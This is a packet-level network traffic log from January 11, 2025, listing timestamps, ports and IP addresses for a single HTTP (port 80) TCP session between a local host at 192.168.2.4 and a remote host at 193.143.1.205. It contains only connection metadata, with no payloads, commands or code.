Jan 11, 2025 01:40:29.310384035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.310394049 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.310396910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.310415983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.311194897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.311206102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.311217070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.311227083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.311235905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.311249971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.311252117 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.311266899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.311279058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.311280966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.311290026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.311300993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.311311007 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.311317921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.311330080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.311336040 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.311342955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.311374903 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.312139034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.312150002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.312160969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.312170982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.312177896 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.312191010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.312201977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.312206030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.312212944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.312222958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.312225103 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.312233925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.312243938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.312254906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.312263966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.312267065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.312278986 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.312302113 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.313114882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.313126087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.313144922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.313155890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.313157082 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.313169003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.313179970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.313180923 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.313190937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.313199043 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.313201904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.313214064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.313224077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.313227892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.313235044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.313247919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.313278913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.314416885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.319214106 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.322235107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.322257996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.322268963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.322300911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.338066101 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.340807915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.340826988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.340840101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.340851068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.340862989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.340878010 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.340907097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.342920065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.370301008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.370325089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.370336056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.370452881 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.399992943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.400007963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.400026083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.400036097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.400048018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.400058985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.400105953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.400116920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.400206089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.400217056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.400228024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.400233984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.400238991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.400257111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.400270939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.400280952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.400293112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.400299072 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.400319099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.430416107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.430433035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.430455923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.430466890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.430479050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.430490017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.430500984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.430519104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.430521011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.430531979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.430542946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.430555105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.430565119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.430577040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.430607080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.430615902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.430627108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.430632114 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.430644035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.430655003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.430666924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.430668116 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.430677891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.430689096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.430690050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.430701017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.430736065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.430736065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.430846930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.430869102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.430880070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.430905104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.430977106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.430989027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.430996895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.431009054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.431018114 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.431036949 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.431185007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.431196928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.431209087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.431216955 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.431219101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.431231022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.431242943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.431243896 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.431255102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.431266069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.431271076 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.431287050 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.431735039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.431746006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.431759119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.431796074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.431813002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.431818962 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.431823969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.431835890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.431869030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.431874990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.431885004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.431895971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.431905985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.431906939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.431934118 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.431977034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.431992054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.432002068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.432007074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.432013035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.432032108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.432039022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.432043076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.432054996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.432065010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.432065964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.432076931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.432086945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.432087898 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.432100058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.432113886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.432132006 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.432485104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.432543993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.432555914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.432568073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.432578087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.432606936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.432610989 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.432619095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.432631016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.432637930 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.432642937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.432655096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.432674885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.432696104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.435657024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.435832024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.435848951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.435859919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.435864925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.435872078 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.435875893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.435887098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.435898066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.435904026 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.435909033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.435920000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.435930967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.435941935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.435944080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.435951948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.435962915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.435962915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.435973883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.435986042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.436006069 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.436114073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.436127901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.436140060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.436150074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.436150074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.436161995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.436172009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.436177969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.436181068 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.436183929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.436217070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.436359882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.436393023 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.436460972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.436471939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.436484098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.436494112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.436505079 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.436506033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.436517000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.436522007 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.436552048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.437222004 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.491692066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.491708994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.491728067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.491740942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.491753101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.491765022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.491775990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.491782904 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.491787910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.491844893 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.491867065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.491878033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.491889954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.491902113 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.491951942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.491961956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.491974115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.491983891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.491987944 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.492005110 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.521310091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.521338940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.521351099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.521363020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.521375895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.521385908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.521398067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.521408081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.521476030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.521558046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.521569014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.521581888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.521593094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.521604061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.521609068 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.521661997 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.521820068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.521836996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.521847963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.521858931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.521862030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.521868944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.521879911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.521888018 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.521891117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.521902084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.521913052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.521917105 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.521923065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.521934032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.521939039 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.521945000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.521955013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.521960020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.521965981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.521975994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.521977901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.521994114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.521995068 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.522005081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.522017956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.522028923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.522030115 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.522038937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.522051096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.522061110 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.522062063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.522073030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.522079945 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.522083044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.522094965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.522119999 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.522142887 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.522146940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.522156954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.522175074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.522186041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.522197962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.522208929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.522208929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.522233009 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.522255898 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.523192883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.523205996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.523222923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.523232937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.523242950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.523252964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.523253918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.523267031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.523277044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.523284912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.523297071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.523307085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.523309946 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.523334026 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.523345947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.523351908 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.523356915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.523374081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.523385048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.523391962 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.523396969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.523406982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.523415089 CET	49730	80	192.168.2.4	193.143.1.205
